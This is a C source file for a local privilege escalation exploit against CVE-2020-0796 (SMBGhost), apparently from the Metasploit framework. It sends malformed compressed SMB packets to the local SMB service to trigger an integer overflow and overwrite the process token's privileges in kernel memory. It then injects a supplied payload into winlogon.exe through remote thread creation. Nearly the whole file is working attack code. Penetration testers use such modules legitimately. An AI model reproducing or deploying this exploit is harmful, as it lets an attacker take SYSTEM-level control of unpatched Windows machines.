external/source/exploits/CVE-2020-0796/LPE/exploit.c
/*
* CVE-2020-0796 LPE
*
* Daniel Garcia Gutierrez (@danigargu) - danigargu[at]gmail.com
* Manuel Blanco Parajon (@dialluvioso) - dialluvioso[at]protonmail.com
* Date: 03/29/2020
*
**/
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <windows.h>
#include <TlHelp32.h>
#include "exploit.h"
typedef struct _MSF_PAYLOAD {
DWORD dwSize;
CHAR cPayloadData[];
} MSF_PAYLOAD;
typedef MSF_PAYLOAD* PMSF_PAYLOAD;
ULONG64 get_handle_addr(HANDLE h) {
ULONG len = 20;
NTSTATUS status = (NTSTATUS)0xc0000004;
PSYSTEM_HANDLE_INFORMATION_EX pHandleInfo = NULL;
HMODULE ntdll = GetModuleHandle("ntdll.dll");
if (ntdll == NULL) {
return 0;
}
fpNtQuerySystemInformation NtQuerySystemInformation = (fpNtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation");
if (NtQuerySystemInformation == NULL) {
return 0;
}
do {
len *= 2;
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)GlobalAlloc(GMEM_ZEROINIT, len);
status = NtQuerySystemInformation(SystemExtendedHandleInformation, pHandleInfo, len, &len);
} while (status == (NTSTATUS)0xc0000004);
if (status != (NTSTATUS)0x0) {
return 0;
}
DWORD mypid = GetProcessId(GetCurrentProcess());
ULONG64 ptrs[1000] = { 0 };
for (int i = 0; i < pHandleInfo->NumberOfHandles; i++) {
PVOID object = pHandleInfo->Handles[i].Object;
ULONG_PTR handle = pHandleInfo->Handles[i].HandleValue;
DWORD pid = (DWORD)pHandleInfo->Handles[i].UniqueProcessId;
if (pid != mypid)
continue;
if (handle == (ULONG_PTR)h)
return (ULONG64)object;
}
return 0;
}
ULONG64 get_process_token() {
HANDLE token;
HANDLE proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());
if (proc == INVALID_HANDLE_VALUE)
return 0;
OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token);
return get_handle_addr(token);
}
int error_exit(SOCKET sock) {
WSACleanup();
return EXIT_FAILURE;
}
int send_negotiation(SOCKET sock) {
int err = 0;
char response[8] = { 0 };
const uint8_t buf[] = {
/* NetBIOS Wrapper */
0x00, /* session */
0x00, 0x00, 0xC4, /* length */
/* SMB Header */
0xFE, 0x53, 0x4D, 0x42, /* protocol id */
0x40, 0x00, /* structure size, must be 0x40 */
0x00, 0x00, /* credit charge */
0x00, 0x00, /* channel sequence */
0x00, 0x00, /* channel reserved */
0x00, 0x00, /* command */
0x00, 0x00, /* credits requested */
0x00, 0x00, 0x00, 0x00, /* flags */
0x00, 0x00, 0x00, 0x00, /* chain offset */
0x00, 0x00, 0x00, 0x00, /* message id */
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, /* reserved */
0x00, 0x00, 0x00, 0x00, /* tree id */
0x00, 0x00, 0x00, 0x00, /* session id */
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, /* signature */
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
/* SMB Negotiation Request */
0x24, 0x00, /* structure size */
0x08, 0x00, /* dialect count, 8 */
0x00, 0x00, /* security mode */
0x00, 0x00, /* reserved */
0x7F, 0x00, 0x00, 0x00, /* capabilities */
0x01, 0x02, 0xAB, 0xCD, /* guid */
0x01, 0x02, 0xAB, 0xCD,
0x01, 0x02, 0xAB, 0xCD,
0x01, 0x02, 0xAB, 0xCD,
0x78, 0x00, /* negotiate context */
0x00, 0x00, /* additional padding */
0x02, 0x00, /* negotiate context count */
0x00, 0x00, /* reserved 2 */
0x02, 0x02, /* dialects, SMB 2.0.2 */
0x10, 0x02, /* SMB 2.1 */
0x22, 0x02, /* SMB 2.2.2 */
0x24, 0x02, /* SMB 2.2.3 */
0x00, 0x03, /* SMB 3.0 */
0x02, 0x03, /* SMB 3.0.2 */
0x10, 0x03, /* SMB 3.0.1 */
0x11, 0x03, /* SMB 3.1.1 */
0x00, 0x00, 0x00, 0x00, /* padding */
/* Preauth context */
0x01, 0x00, /* type */
0x26, 0x00, /* length */
0x00, 0x00, 0x00, 0x00, /* reserved */
0x01, 0x00, /* hash algorithm count */
0x20, 0x00, /* salt length */
0x01, 0x00, /* hash algorith, SHA512 */
0x00, 0x00, 0x00, 0x00, /* salt */
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, /* pad */
/* Compression context */
0x03, 0x00, /* type */
0x0E, 0x00, /* length */
0x00, 0x00, 0x00, 0x00, /* reserved */
0x02, 0x00, /* compression algorithm count */
0x00, 0x00, /* padding */
0x01, 0x00, 0x00, 0x00, /* flags */
0x02, 0x00, /* LZ77 */
0x03, 0x00, /* LZ77+Huffman */
0x00, 0x00, 0x00, 0x00, /* padding */
0x00, 0x00, 0x00, 0x00
};
if ((err = send(sock, (const char*)buf, sizeof(buf), 0)) != SOCKET_ERROR) {
recv(sock, response, sizeof(response), 0);
}
return err;
}
int send_compressed(SOCKET sock, unsigned char* buffer, ULONG len) {
int err = 0;
char response[8] = { 0 };
const uint8_t buf[] = {
/* NetBIOS Wrapper */
0x00,
0x00, 0x00, 0x33,
/* SMB Header */
0xFC, 0x53, 0x4D, 0x42, /* protocol id */
0xFF, 0xFF, 0xFF, 0xFF, /* original decompressed size, trigger arithmetic overflow */
0x02, 0x00, /* compression algorithm, LZ77 */
0x00, 0x00, /* flags */
0x10, 0x00, 0x00, 0x00, /* offset */
};
uint8_t* packet = (uint8_t*)malloc(sizeof(buf) + 0x10 + len);
if (packet == NULL) {
return error_exit(sock);
}
memcpy(packet, buf, sizeof(buf));
*(uint64_t*)(packet + sizeof(buf)) = 0x1FF2FFFFBC;
*(uint64_t*)(packet + sizeof(buf) + 0x8) = 0x1FF2FFFFBC;
memcpy(packet + sizeof(buf) + 0x10, buffer, len);
if ((err = send(sock, (const char*)packet, sizeof(buf) + 0x10 + len, 0)) != SOCKET_ERROR) {
recv(sock, response, sizeof(response), 0);
}
free(packet);
return err;
}
void inject(PMSF_PAYLOAD pMsfPayload) {
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
int pid = -1;
if (Process32First(snapshot, &entry) == TRUE) {
while (Process32Next(snapshot, &entry) == TRUE) {
if (lstrcmpiA(entry.szExeFile, "winlogon.exe") == 0) {
pid = entry.th32ProcessID;
break;
}
}
}
CloseHandle(snapshot);
if (pid < 0) {
return;
}
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (hProc == NULL) {
return;
}
LPVOID lpMem = VirtualAllocEx(hProc, NULL, pMsfPayload->dwSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (lpMem == NULL) {
return;
}
if (!WriteProcessMemory(hProc, lpMem, &pMsfPayload->cPayloadData, pMsfPayload->dwSize, 0)) {
return;
}
if (!CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)lpMem, 0, 0, 0)) {
return;
}
}
DWORD exploit(PMSF_PAYLOAD pMsfPayload) {
WORD wVersionRequested = MAKEWORD(2, 2);
WSADATA wsaData = { 0 };
SOCKET sock = INVALID_SOCKET;
uint64_t ktoken = 0;
int err = 0;
if ((err = WSAStartup(wVersionRequested, &wsaData)) != 0) {
return EXIT_FAILURE;
}
if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2) {
WSACleanup();
return EXIT_FAILURE;
}
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == INVALID_SOCKET) {
WSACleanup();
return EXIT_FAILURE;
}
SOCKADDR_IN client;
client.sin_family = AF_INET;
client.sin_port = htons(445);
InetPton(AF_INET, "127.0.0.1", &client.sin_addr);
if (connect(sock, (SOCKADDR*)&client, sizeof(client)) == SOCKET_ERROR) {
return error_exit(sock);
}
if (send_negotiation(sock) == SOCKET_ERROR) {
return error_exit(sock);
}
ULONG buffer_size = 0x1110;
UCHAR* buffer = (UCHAR*)malloc(buffer_size);
if (buffer == NULL) {
return error_exit(sock);
}
ktoken = get_process_token();
if (ktoken == 0) {
return EXIT_FAILURE;
}
HMODULE ntdll = GetModuleHandle("ntdll.dll");
if (ntdll == NULL) {
return EXIT_FAILURE;
}
fpRtlGetCompressionWorkSpaceSize RtlGetCompressionWorkSpaceSize = (fpRtlGetCompressionWorkSpaceSize)GetProcAddress(ntdll, "RtlGetCompressionWorkSpaceSize");
if (RtlGetCompressionWorkSpaceSize == NULL) {
return EXIT_FAILURE;
}
fpRtlCompressBuffer RtlCompressBuffer = (fpRtlCompressBuffer)GetProcAddress(ntdll, "RtlCompressBuffer");
if (RtlCompressBuffer == NULL) {
return EXIT_FAILURE;
}
memset(buffer, 'A', 0x1108);
*(uint64_t*)(buffer + 0x1108) = ktoken + 0x40; /* where we want to write */
ULONG CompressBufferWorkSpaceSize = 0;
ULONG CompressFragmentWorkSpaceSize = 0;
err = RtlGetCompressionWorkSpaceSize(COMPRESSION_FORMAT_XPRESS,
&CompressBufferWorkSpaceSize, &CompressFragmentWorkSpaceSize);
if (err != STATUS_SUCCESS) {
return error_exit(sock);
}
ULONG FinalCompressedSize;
UCHAR compressed_buffer[64];
LPVOID lpWorkSpace = malloc(CompressBufferWorkSpaceSize);
if (lpWorkSpace == NULL) {
return error_exit(sock);
}
err = RtlCompressBuffer(COMPRESSION_FORMAT_XPRESS, buffer, buffer_size,
compressed_buffer, sizeof(compressed_buffer), 4096, &FinalCompressedSize, lpWorkSpace);
if (err != STATUS_SUCCESS) {
free(lpWorkSpace);
return error_exit(sock);
}
if (send_compressed(sock, compressed_buffer, FinalCompressedSize) == SOCKET_ERROR) {
return error_exit(sock);
}
inject(pMsfPayload);
WSACleanup();
return EXIT_SUCCESS;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
BOOL bReturnValue = TRUE;
switch (dwReason)
{
case DLL_QUERY_HMODULE:
hAppInstance = hinstDLL;
if (lpReserved != NULL)
{
*(HMODULE*)lpReserved = hAppInstance;
}
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
exploit((PMSF_PAYLOAD)lpReserved);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}